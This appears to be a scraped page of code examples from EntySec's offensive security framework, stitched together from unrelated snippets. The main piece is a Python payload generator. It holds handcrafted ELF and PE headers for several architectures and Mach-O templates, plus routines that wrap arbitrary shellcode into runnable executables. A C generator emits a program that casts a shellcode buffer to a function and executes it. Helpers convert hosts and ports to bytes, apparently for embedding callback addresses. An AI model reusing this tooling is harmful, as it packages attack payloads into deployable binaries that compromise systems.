         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00')
    }

    macho_templates = {
        'x64':
        config.path_config['base_paths']['data_path'] +
        "utils/payload/payload/templates/macho_x64.bin",
        'aarch64':
        config.path_config['base_paths']['data_path'] +
        "utils/payload/payload/templates/macho_aarch64.bin"
    }

    elf_headers = {
        'armle':
        (b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00"
         b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
         b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00"
         b"\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
         b"\x00\x10\x00\x00"),
        'mipsbe':
        (b"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34"
         b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00"
         b"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00"
         b"\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07"
         b"\x00\x00\x10\x00"),
        'mipsle':
        (b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00"
         b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
         b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00"
         b"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
         b"\x00\x10\x00\x00"),
        'x86':
        (b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00"
         b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
         b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
         b"\x00\x80\x04\x08\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
         b"\x00\x10\x00\x00"),
        'aarch64':
        (b"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x02\x00\xb7\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00"
         b"\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00"
         b"\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00"
         b"\x00\x10\x00\x00\x00\x00\x00\x00"),
        'x64':
        (b"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00"
         b"\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00"
         b"\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00"
         b"\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42"
         b"\x00\x10\x00\x00\x00\x00\x00\x00")
    }

    @staticmethod
    def host_to_bytes(host):
        result = b""
        for i in host.split("."):
            result += bytes([int(i)])
        return result

    @staticmethod
    def port_to_bytes(port):
        result = "%.4x" % int(port)
        return bytes.fromhex(result)

    def generate(self, file_format, arch, data):
        if file_format in self.formats.keys():
            return self.formats[file_format](self, arch, data)
        return None

    def generate_pe(self, arch, data):
        if arch in self.pe_headers.keys():
            pe = self.pe_headers[arch] + data

            if arch in ['x86']:
                pe += b'\xFF' * 4 + b'\x00' * 4 + b'\xFF' * 4
                content = pe.ljust(1536, b'\x00')
            elif arch in ['x64']:
                pe += b'\x00' * 7 + b'\xFF' * 8 + b'\x00' * 8 + b'\xFF' * 8
                content = pe.ljust(2048, b'\x00')
            else:
                content = None
            return content
        return None

    def generate_elf(self, arch, data):
        if arch in self.elf_headers.keys():
            elf = self.elf_headers[arch] + data

            if elf[4] == 1:
                if arch.endswith("be"):
                    p_filesz = struct.pack(">L", len(elf))
                    p_memsz = struct.pack(">L", len(elf) + len(data))
                else:
                    p_filesz = struct.pack("<L", len(elf))
                    p_memsz = struct.pack("<L", len(elf) + len(data))
                content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:]
            elif elf[4] == 2:
                if arch.endswith("be"):
                    p_filesz = struct.pack(">Q", len(elf))
                    p_memsz = struct.pack(">Q", len(elf) + len(data))
                else:
                    p_filesz = struct.pack("<Q", len(elf))
                    p_memsz = struct.pack("<Q", len(elf) + len(data))

                content = elf[:0x60] + p_filesz + p_memsz + elf[0x70:]
            else:
                content = None
            return content
        return None

    def generate_macho(self, arch, data):
        if arch in self.macho_templates.keys():
            if os.path.exists(self.macho_templates[arch]):
                macho_file = open(self.macho_templates[arch], 'rb')
                macho = macho_file.read()
                macho_file.close()

                payload_index = macho.index(b'PAYLOAD:')
                content = macho[:payload_index] + data + macho[payload_index +
                                                               len(data):]

                return content
        return None

    @staticmethod
    def generate_c(arch, data):
        shellcode = "unsigned char shellcode[] = {\n    \""
        for idx, x in enumerate(data):
            if idx % 15 == 0 and idx != 0:
                shellcode += "\"\n    \""
            shellcode += "\\x%02x" % x
        shellcode += "\"\n};\n"

        c = ""
        c += "#include <stdio.h>\n"
        c += "#include <string.h>\n"
        c += "\n"
        c += shellcode
        c += "\n"
        c += "int main()\n"
        c += "{\n"
        c += "    int (*ret)() = (int(*)())shellcode;\n"
        c += "    ret();\n"
        c += "}\n"

        return c.encode()

    formats = {
        'pe': generate_pe,
        'elf': generate_elf,
        'macho': generate_macho,
        'c': generate_c
    }
Exemple #11
0
 def __init__(self):
     self.badges = Badges()
     self.importer = Importer()
     self.config = Config()
Exemple #12
0
 def __init__(self):
     self.db = DB()
     self.badges = Badges()
     self.local_storage = LocalStorage()
     self.config = Config()
     self.exceptions = Exceptions()
Exemple #13
0
# Copyright (c) 2020-2021 EntySec
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from core.base.config import Config

config = Config()
config.configure()

from checks.perform_checks import PerformChecks

perform_checks = PerformChecks()
perform_checks.perform_checks()